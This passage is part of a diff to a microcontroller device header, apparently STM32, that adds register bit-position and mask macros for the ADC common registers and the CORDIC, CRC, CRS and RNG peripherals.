(10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << 